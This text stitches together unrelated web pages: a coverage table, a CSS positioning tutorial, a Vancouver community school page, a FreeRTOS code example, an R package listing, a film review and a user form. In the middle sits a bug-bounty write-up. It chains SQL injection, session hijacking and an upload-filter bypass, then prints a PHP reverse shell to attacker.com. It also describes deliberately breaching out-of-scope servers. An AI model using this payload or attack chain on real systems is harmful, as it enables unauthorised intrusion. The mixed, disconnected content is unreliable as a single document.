| DisplayerHtmlEditor | 100% (2/ 2) | 50% (5/ 10) | 56.1% (32/ 57) |
| DataSetLookupEditorView | 0% (0/ 2) | 0% (0/ 33) | 0% (0/ 63) |
| DisplayerHtmlEditorTest | 100% (1/ 1) | 100% (4/ 4) | 100% (15/ 15) |
| DataSetLookupEditor | 100% (6/ 6) | 68.6% (35/ 51) | 76.5% (225/ 294) |
| DisplayerSubtypeSelectorView | 0% (0/ 2) | 0% (0/ 12) | 0% (0/ 57) |
| RendererSelectorTest | 100% (2/ 2) | 63.6% (7/ 11) | 92.3% (48/ 52) |
| DisplayerEditorTest | 100% (1/ 1) | 100% (9/ 9) | 100% (75/ 75) |


In a webpage, the position of an element being displayed is determined by two things: 1. the height and width of the element 2. the order of the element in the html document
The Position property in CSS makes it possible to position a property the way we want it to rather than the default layout of the document. This property can take either one of the 7 different values depending on the use case. We are goin to look at 4 of these 7 value in detail. These four are the most used (or needed) values that the 'Position' property can take.
As we know, the elements in html will have some default styles applied by the browser. The 'position' is one such property whic gets applied on all html elements. The default value the browser applies is static. Static positioning goes along with the html rules and keeps to the default html flow. Almost always, we wont be using this value in our development. This is something that gets applied default by the browser.
This allows us to position the element relative to how it would have been positioned. Just the 'position: relative' peoperty does not chnage the position of the element. It has to be combined with one or more of the attributes: top, left, bottom or right. In the below screen (left), when the positioning is static(default), the squares confirms to the flow of the html document. When the positioning is set to relative with the attribute values (right screen), the teal box has moved accordingly. It has been pushed 30px from the top toward bottom and 20px from the left toward the right. An easy to It is important to note that this does not affect any other elements in the html flow.
The naming in this positioning is a bit tricky. The element with the absolute position will be placed relative to its parent element. Let us see an example. The pink box with a absolute positioning and attribute of '60px right', is pushed from the right of its parent element which is having a relative or absolute position
The fixed positioning allows the element to be fixed in its position. When the user scrolls through the web page, the element does not disapper and it is fixed in the same position. Notice in the below image the rectangular box is displayed when the page is scrolled.


The David Thompson Community School Team (DTCST) of the Vancouver Board of Education (VBE) offers programs and services to support students in four areas: nutrition, academic, social-emotional function, and community connectedness. The Community Schools Teams (CSTs) have been in place in the VBE since 2004.
We serve within the David Thompson Community School team hub which includes Douglas Elementary, Douglas Annex, Sandford Fleming, Oppenheimer, Tecumseh Elementary, Tecumseh Annex, and Kingsford-Smith.
We provide various and after School Programs for Vancouver students in Kindergarten to grade 12. Our staff and student leaders are passionate and supportive in the growth and development of students and youth. We also provide leadership training and volunteer opportunities to our DT student leaders and access to community events.
Mission Statement
To offer low-cost and participation-based afterschool programs and services to Vancouver South students and families focusing on four key areas of development for personal and academic achievement: nutrition, academics, social-emotional functioning, and community connectedness.Vision
To provide evidence-based programming that targets the unique needs of the Vancouver South community, and give children and youth of the David Thompson Family of Schools the support they need to become environmental stewards, global citizens, and community leaders.Values
InclusivenessCommunity Schools Coordinator
Community Schools Programmer
DTCST Programmer at Fleming and Kingsford-Smith
DTCST Programmer at Oppenheimer
Financial Hardship Policy:
The Board of Education Trustees is committed to ensuring that no school-age student will be denied an opportunity to participate in a course, class or program because of an inability to pay fees. parent and guardians unable to pay some or all of a school fee are invited to speak to their child's teacher, school counsellor, vice principal, DTCST staff, and/or the school Principal.


Example usage: // A co-routine that blocks on a queue waiting for characters to be received. static void vReceivingCoRoutine( CoRoutineHandle_t xHandle, UBaseType_t uxIndex ) { char cRxedChar; BaseType_t xResult; // All co-routines must start with a call to crSTART(). crSTART( xHandle ); for( ;; ) { // Wait for data to become available on the queue. This assumes the // queue xCommsRxQueue has already been created! crQUEUE_RECEIVE( xHandle, xCommsRxQueue, &uxLEDToFlash, portMAX_DELAY, &xResult ); // Was a character received? if( xResult == pdPASS ) { // Process the character here. } } // All co-routines must end with a call to crEND(). crEND(); } // An ISR that uses a queue to send characters received on a serial port to // a co-routine. void vUART_ISR( void ) { char cRxedChar; BaseType_t xCRWokenByPost = pdFALSE; // We loop around reading characters until there are none left in the UART. while( UART_RX_REG_NOT_EMPTY() ) { // Obtain the character from the UART. cRxedChar = UART_RX_REG; // Post the character onto a queue. xCRWokenByPost will be pdFALSE // the first time around the loop. If the post causes a co-routine // to be woken (unblocked) then xCRWokenByPost will be set to pdTRUE. // In this manner we can ensure that if more than one co-routine is // blocked on the queue only one is woken by this ISR no matter how // many characters are posted to the queue. xCRWokenByPost = crQUEUE_SEND_FROM_ISR( xCommsRxQueue, &cRxedChar, xCRWokenByPost ); } } [
Back to the top ] [ About FreeRTOS
] [ Sitemap
] [
Report an error on this page (with anti-spam) ]
Copyright (C) 2004-2010 Richard Barry. Copyright
(C) 2010-2016 Real Time Engineers Ltd.
Any and all data, files, source code, html content and documentation included in the FreeRTOSTM distribution or available on this site are the exclusive property of Real Time Engineers Ltd.. See the files license.txt (included in the distribution) and this copyright notice for more information. FreeRTOSTM and FreeRTOS.orgTM are trade marks of Real Time Engineers Ltd. |


Interactive visualization of Bayesian Networks. The 'bnviewer' package reads various structure learning algorithms provided by the 'bnlearn' package and allows you to view them interactively.
| Version: | 0.1.1 |
| Depends: | R (≥ 3.0) |
| Imports: | visNetwork (≥ 2.0.4), bnlearn (≥ 4.3), methods, igraph (≥ 1.2.1) |
| Published: | 2018-12-10 |
| Author: | Robson Fernandes |
| Maintainer: | Robson Fernandes <robs.fernandes at outlook.com> |
| License: | MIT + file LICENSE |
| URL: | http://robsonfernandes.net/bnviewer/ |
| NeedsCompilation: | no |
| CRAN checks: | bnviewer results |
| Reference manual: | bnviewer.pdf |
| Package source: | bnviewer_0.1.1.tar.gz |
| Windows binaries: | r-devel: bnviewer_0.1.1.zip, r-release: bnviewer_0.1.1.zip, r-oldrel: bnviewer_0.1.1.zip |
| OS X binaries: | r-release: bnviewer_0.1.1.tgz, r-oldrel: bnviewer_0.1.1.tgz |
| Old sources: | bnviewer archive |
Please use the canonical form https://CRAN.R-project.org/package=bnviewer to link to this page.


JOHNNY HANDSOME A film review by Randy Parker Copyright 1996 Randy Parker
RATING: **1/2 (out of ****)
(Review written in 1989)
If you plan to check out JOHNNY HANDSOME, I'd suggest that you leave after an hour. You'll enjoy the movie more that way. The first half of JOHNNY HANDSOME carefully sets up an intriguing situation; then, the second half squanders it away on a cliched finale.
The movie offers a character study of John Sedley, a two-bit criminal who was born with a horribly deformed face. His gruesome appearance has ruined his life. Then, he has state-of-the-art reconstructive surgery, and lo and behold, he emerges from the bandages looking just like Mickey Rourke. Sedley's new and improved appearance (if you consider looking like Rourke an improvement) gives him the opportunity to start his life anew. For the first time ever, he has a chance to be normal. The catch is that Sedley's one friend in the world, Mikey, has been murdered, and Sedley is torn between becoming a law-abiding citizen and seeking bloody revenge on the murderers. Will he go straight or will he blow it and return to his criminal ways?
Well, Sedley blows it, but he's not the only one--so do director Walter Hill and screenwriter Ken Friedman. They establish Sedley's inner psychology so well in the first half that you expect them to follow through with it in the second half. But no: they turn their effective little character study into a simple-minded revenge thriller. Sedley becomes almost impossible to root for because it's established so quickly that he'll never reform. To make matters worse, his vendetta against Mikey's killers is repulsively violent and gory.
The movie is so frustrating because of what's not on the screen, because of the missed dramatic opportunities. What IS on the screen isn't half-bad. Hill's specialty is action, and as a thriller, the movie has more than enough energy and style. Rourke's specialty is disturbing movies (like ANGEL HEART) that leave you with a headache. Actually, Rourke does an admirable job of conveying Sedley's emotional turmoil and confusion. Ellen Barkin stands out as one of Mikey's killers, but only because her role is so different from the uptight D.A. she played in THE BIG EASY.
----------- Randy Parker<EMAIL_ADDRESS>http://www.shoestring.org
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


بسم الله الرحمن الرحيم
When doing penetrating on this target, I collaborated with YoKo Kho to get the highest privileges. In this paper you may find a little similarity with his trick. But in the real case, what we write is a different feature. If you have read his writing, this story is the prequel of it.
While doing Bug Bounty Hunting , I found a Cookie Based XSS Vulnerability on a website. Cookie Based XSS basically is a Self XSS. It will be very unfortunate if the findings were reported and only got Very Low Severity which for the severity there was no Bounty or Points given.
The scope of this program is very limited, but the target domain has lots of subdomains. The first thing that comes to mind is looking for XSS Vulnerabilities in target subdomains that are out of scope to trigger Cookie Based XSS in in-scope target domains, so by that severity will increase at least to High or Medium.
I. Information Disclosure
After hunting for some time, no subdomains that have XSS vulnerabilities were found either. Until when doing a bruteforce directory on one of the subdomains, I found an interesting file.
https://redacted.com/redacted/redacted/_notes/dwsync.xml
The dwsync.xml
file is a file generated by Dreamweaver. Where the file contains information related to what files are in the website directory.
II. SQL Injection
By default, to access the website requires credentials, and we cannot create an account on the website. As explained above, through the dwsync.xml
file, we can get information related to what files are on the target website. So I tried to access one of the files, for example I tried to access the redacted.php
file.
We can see an error message appears: Undefined index: ver
, which means on that page there is a variable ver
that has not been defined. For that, I also changed the URL to something like this:
https://redacted.com/dir/redacted.php?ver=1
And the page display changes, but only displays the number 1
.
Don’t know what the meaning of number 1 is, that number is also not a reflection of the value I entered in the ver
parameter above. But seeing the parameter in the URL, my hand felt itchy to add the symbol ‘
to that parameter. And the result …
It looks like the error message looks very familiar. Without waiting long, I immediately tried to do SQL Injection
with SQLmap
. And here is the list of databases obtained:
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] redacted_db
[*] tmp
III. Authentication Bypass
From the SQL Injection
vulnerability, I tried to upload shell to the target server, but it’s failed. So I must be able to login to the website using the data in the database.
After trying to extract the redacted_db
database, a table named user_tbl
was found. In the table there is information related to the user on the target website. But unfortunately, the user’s password is hashed using md5
and when trying to crack, nothing works.
Not giving up until then, I went back to look for tables that might be used. So I arrived at a table called session_tbl
. In the table, there are only 3 columns, session_id
, user_id
, and session
.
From there I realized that the table contained active sessions from the website user. So I searched for the user with the highest role level in the user_tbl
table, and searched for the session in the session table. Then I tried to enter the session value obtained from the database into the Cookie
website with the session name. And finally I successfully login to the website.
IV. Unrestricted File Upload
Long story short, after being able to log into the target website, then I look for other vulnerabilities that can be exploited. On the website there is a feature for uploading files. Of course this is a feature that we must test.
I also tried to upload a file with the .phtml
extension, but the file was rejected and could not be uploaded.
But I suspect, the filter only runs on the client side. This means that there is potential for bypasses with the help of tools such as Burpsuite. So I tried uploading the file again, this time with the .jpg extension then in Burpsuite Intercept, I change the extension to .phtml
.
Here’s the screenshot when I re-upload the file using Repeater.
After using the method above, the file was successfully uploaded. Seeing the response that appears, the file is stored in AWS
, not on the target website
https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml
V. Remote Code Execution
Seeing the uploaded file stored in AWS
, not much can be done on that file, because our target is the web server not the AWS
server. So I also tried to understand the response displayed by the target server.
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml
Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235
From the response above, I assume that besides being stored on AWS, there is a possibility that uploaded files will be stored on the target website in the redacted directory. So I also tried to visit the following URL:
https://redacted.com/redacted/redacted/info.phtml
And the file was not found.
But I still assume, it isn’t make sense if the response displays a redacted directory if it has nothing to do with the file that we uploaded. What if what happens is, the file that we upload is temporarily stored in the redacted directory, then after some time it is thrown into AWS
as a storage place.
If my assumption is correct, then our file will be on the server for a second before uploading to AWS
. And we must catch the file before sending it to AWS
server.
To test it, I use Burpsuite Intruder and try to do a GET
Request continuously to the URL file in the redacted directory.
And sure enough, for some time the file was on the target server (HTTP Code 200), and not long after that file disappeared (HTTP Code 404) indicating the file has been moved to AWS
.
So by doing the same thing, we can upload PHP Reverse Shell to get the shell from the target website.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
And finally I also got access to the target server.
VI. The XSS
Back to first of story, after getting shell access, I placed an HTML
file containing javascript to trigger XSS
on websites that were in the bounty scope.
With HTML code like the this:

We can create a cookie named evil on the redacted.com
domain with the value containing the XSS Payload
. So when you access the in-scope bounty domain, the cookie will be loaded and XSS will be triggered.
Getting full server access on an out of scope website to trigger XSS on an in-scope website is rather ironic indeed. But that’s Bug Hunting, as much as possible we must be able to convince the Program Owner that the vulnerability we find can be exploited and have a significant impact.
On that website I found a several Cookie Based XSS worth $5000.
VII. Conclusion
Here’s some noob tips that you can do when doing Bug Hunting:
- When finding vulnerability with a low severity, don’t report it immediately. Look for possibilities that can be used to increase the severity.
- If you find a website with a login page without a registration feature, try to bruteforce it using dirsearch, dirbuster, etc. Websites that only display a login page and no registration feature indicate that the website can only be accessed by an internal team, and usually such websites have lots of bugs.
- If you find SQL Injection and a password is hashed on the database, try to visit another table, there might be something juicy there.
- If you find the upload form and you cannot upload the shell. Try to bypass it by trying to upload via Burpsuite Repeater, changing extensions, mime type, etc. After the file has been uploaded successfully, learn the flow how they save the file.


List of Users
First Name
Last Name
Patronymic
age
SHOW
EDIT
DELETE
First Name:
Last Name:
Patronymic:
Age: